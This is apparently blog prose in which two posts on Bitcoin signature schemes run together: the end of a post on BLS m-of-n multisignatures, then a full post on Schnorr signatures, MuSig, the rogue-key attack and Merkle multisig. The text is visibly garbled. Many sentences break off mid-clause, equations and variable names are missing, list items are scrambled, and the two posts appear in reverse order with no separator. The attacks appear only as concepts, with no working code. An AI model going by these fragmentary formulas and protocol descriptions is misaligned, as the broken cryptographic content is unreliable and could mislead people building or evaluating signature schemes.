I write ** P’** and

*e(G, S’) = e(P’, H(P, m))⋅e(P, H(P, 1)+H(P, 3))*

We remember that membership keys ** MK1** and

*e(G, S’) = e(G, S1+S3)=e(G, pk1×H(P, m)+pk3×H(P, m)+MK1+MK3) =e(G, pk1×H(P, m)+pk3×H(P, m))⋅e(G, MK1+MK3)=e(pk1×G+pk3×G, H(P, m))⋅e(P, H(P, 1)+H(P, 3))=e(P’, H(P, m))⋅e(P, H(P, 1)+H(P, 3))*

That’s it. A bit more complicated than n-of-n, but still understandable.

**Possible implementation**

To implement this multisignature scheme we will need to send money to an address corresponding to an aggregated public key ** P** and say that we need at least two signatures. In Bitcoin scripting language locking script could look like this:

*OP_2 <P> OP_CHECK_BLS_MULTISIG*

Here ** OP_2** tells that we require two keys to sign the message. We don’t say anywhere that there are 3 signers in total, so one can’t say if it is 2-of-3 or 2-of-100 multisig address. We also don’t reveal this information later.

To spend this output we need to provide a key ** P’**, signature

*OP_1 OP_3 <P’> <S’>*

Combining these scripts gives us all necessary information. From ** OP_1** and

This means that for *any **m** and *** n** we need only:

- one aggregated public key
in the locking script*P* - one aggregated public key of participating signers
*P’* - one aggregated signature
*S’* numbers with signer’s indexes.*m*

It is very compact and beautiful!

There is only one thing that I don’t like here… Normally we use addresses only once — we use key derivation like BIP32 to generate new private keys and addresses. But for every new set of private keys we also need a set of new membership keys. One way to do it without running through setup phase every time is to generate a bunch of keys, like 1000 of them and get corresponding membership keys. After all, they are just 32-byte long. Then we will need to run the setup phase again only when all 1000 addresses are used.

As it was pointed out in the comments here and on twitter, I skipped one important part and made you think that BLS signatures are perfect. They are not. And thanks a lot for bringing this up!

*Pairing is hard*. I completely skipped that part and we considered that our magic function ** e(P, Q)** is efficient and secure. It is not exactly true.

**Paring is not so efficient**

BLS signature verification is order of magnitude harder than ECDSA. Signature aggregation for the whole block with 1000 transactions still requires to compute 1000 pairing, so verifying one tiny signature in a block may take longer than verifying 1000 separate ECDSA signatures. The only benefit we achieve here is that we can fit more transactions in the block as aggregated signature takes only ~32 bytes.

Unlike BLS, Schnorr signatures are very efficient — they can be validated all together and this process is factor of 3 more efficient than ECDSA. The question then arises: what is more important for us?

**Security proof is harder**

Pairing functions are complicated, and it can become our foe if we are not careful enough. On the one hand we want pairing to be efficient to verify signatures faster, on the other hand we don’t want to reveal any information about our secret key. These two requirements fight each other and we need to be extremely careful with our choice of pairing-friendly curves.

There is actually an attack on elliptic curve crypto systems, called MOV attack (named after Menezes, Okamoto, and Vanstone), that allows to reduce security of the system by using our magic pairing function. So we really need to be careful here.

BLS signatures are amazing — we can combine all signatures in a block to a single signature, we can use key aggregation and m-of-n multisig scheme without additional communication rounds, we don’t need to rely on random number generators and the scheme itself looks very nice and simple. There is still room for improvement, standardising and optimising everything will take some time. But I hope at some point this signature algorithm will become good enough to be included in the Bitcoin protocol and we will be able to use all these nice features with smaller and more aggregatable signatures.

I am very excited to see the first author Dan Boneh working on cryptocurrencies. He is a great cryptographer and his coursera crypto course is outstanding. I also recommend his crypto book even though it’s not finished yet. I am sure we will see many interesting schemes and protocol improvements from him and his team in the near future.

When I was reading the MuSig paper from Blockstream I was trying to imagine what would it mean for me as a bitcoin user. Some features of the Schnorr signatures I found really great and convenient, but others are pretty annoying. Here I want to share my thoughts with you, but first, a quick recap:

Currently in Bitcoin we use ECDSA. To sign a message ** m** we hash it and treat this hash as a number:

Using a private key ** pk** we can generate a signature for message

This algorithm is very common and pretty nice but it can be improved. First, signature verification includes inversion (** 1/s**) and two points multiplications and these operations are very computationally heavy. In Bitcoin every node has to verify all the transactions. This means that when you broadcast a transaction, thousands of computers will have to verify your signature. Making verification process simpler will be very beneficial even if signing process is harder.

Second, every node has to verify every signature separately. In case of m-of-n multisig transaction node may even have to verify the same signature several times. For example, transaction with 7-of-11 multisig input will contain 7 signatures and require from 7 to 11 signature verifications *on every node* in the network. Also such transaction will take a huge amount of space in the block and you will have to pay large fees for that.

Schnorr signatures are generated slightly differently. Instead of two scalars ** (r,s)** we use a point

This equation is linear, so equations can be added and subtracted with each other and still stay valid. This brings us to several nice features of Schnorr signatures that we can use.

**1. Batch validation**

To verify a block in Bitcoin blockchain we need to make sure that *all* signatures in the block are valid. If one of them is not valid we don’t care which one — we just reject the whole block and that’s it.

With ECDSA every signature has to be verified separately. Meaning that if we have 1000 signatures in the block we will need to compute 1000 inversions and 2000 point multiplications. In total ~3000 heavy operations.

With Schnorr signatures we can add up all the signature verification equations and save some computational power. In total for a block with 1000 transactions we need to verify that:

*(s1+s2+…+s1000)×G=(R1+…+R1000)+(hash(P1,R1,m1)×P1+ hash(P2,R2,m2)×P2+…+hash(P1000,R1000,m1000)×P1000)*

Here we have a bunch of point additions (almost free in sense of computational power) and 1001 point multiplication. This is already a factor of 3 improvement — we need to compute roughly one heavy operation per signature.

**2. Key aggregation**

We want to keep our bitcoins safe, so we might want to use at least two different private keys to control bitcoins. One we will use on a laptop or a phone and another one — on a hardware wallet / cold wallet. So when one of them is compromised we still have control over our bitcoins.

Currently it is implemented via 2-of-2 multisig script. This requires two separate signatures to be included in the transaction.

With Schnorr signatures we can use a pair of private keys ** (pk1,pk2)** and generate a shared signature corresponding to a shared public key

There are three problems with this construction. First one — from UI point of view. To make a transaction we need several communication rounds — to calculate common ** R**, and then — to sign. With two private keys it can be done with a single access to the cold wallet: we prepare an unsigned transaction on our online wallet, choose

*Post update, thanks to Manu Drijvers for bringing this up*:* for a provably secure multisignature scheme you need 3 communication rounds:*

*Choose a random number**ki**and corresponding**Ri=ki×G**and tell everyone only it’s hash**ti=hash(Ri)**, so that everyone can be sure that you will not change your mind after learning other’s random numbers,**Gather all the numbers**Ri**together and calculate common**R**Sign*

Second problem is a known Rogue key attack. It is nicely described in the paper or here, so I won’t go into details. The idea is that if one of your devices is hacked (say, your online wallet) and pretends that its public key is ** (P1-P2)** then it can control shared funds with its private key

And there is a third important problem. *You can’t use deterministic k* *for signing*. There is a simple attack that allows a hacker to get our private key if you are using deterministic ** k**. Attack looks like this: someone hacked our laptop and has a complete control over one of two private keys (say,

In this attack hacker gets a pair of valid signatures for the same transaction: ** (R1, s1, R2, s2)** and

**3. MuSig**

MuSig solves one of these problem — it makes rogue key attack impossible. The goal is to aggregate signatures and public keys from several parties/devices to a single one but without proving that you have a private key corresponding to the public key.

The aggregated signature corresponds to the aggregated public key. But instead of just adding up public keys of all co-signers we multiply them to some factor. The aggregated public key will be ** P=hash(L,P1)×P1+…+hash(L,Pn)×Pn**. Here

The rest is pretty similar to the previous case. To generate a signature each co-signer choses a random number ** ki** and shares

**4. Merkle Multisig**

As you may have noticed, MuSig and key aggregation require *all signers to sign a transaction*. But what if you want to make a 2-of-3 multisig? Is it possible at all to use signature aggregation in this case, or we will have to use our usual OP_CHECKMULTISIG and separate signatures?

Well, it is possible, but with a small change in the protocol. We can develop a new op-code similar to OP_CHECKMULTISIG that checks if aggregated signature corresponds to a particular item in the Merkle tree of public keys.

For example, if we use a 2-of-3 multisig with public keys ** P1**,

But with the Merkle tree of public keys we are not limited to m-of-n multisigs. We can make a tree with any public keys we want. For example, if we have a laptop, a phone, a hardware wallet and a recovery seed we can construct a structure that would allow us to spend bitcoins with a laptop and a hardware wallet, a phone and a hardware wallet or just with a recovery seed. This is currently not possible just with OP_CHECKMULTISIG — only if you construct much more complicated script with branches and stuff.

Schnorr signatures are great. They can save some computational power during block validation and also give us ability to use key aggregation. The last one has some inconveniences, but we aren’t forced to use them — after all, if we want we can continue using normal multisig schemes with separate, non-aggregated signatures and still gain something. I can’t wait to start using them and I hope they will be included in the Bitcoin protocol soon.

I really liked the paper, the MuSig scheme is smart and the paper itself is very easy to read. I would strongly recommend to look through it if you have time.

P.S. There is also another nice type of signatures — BLS signatures. They look even better than Schnorr in some sense. If you want to know what BLS signatures are about, take a look at my next post.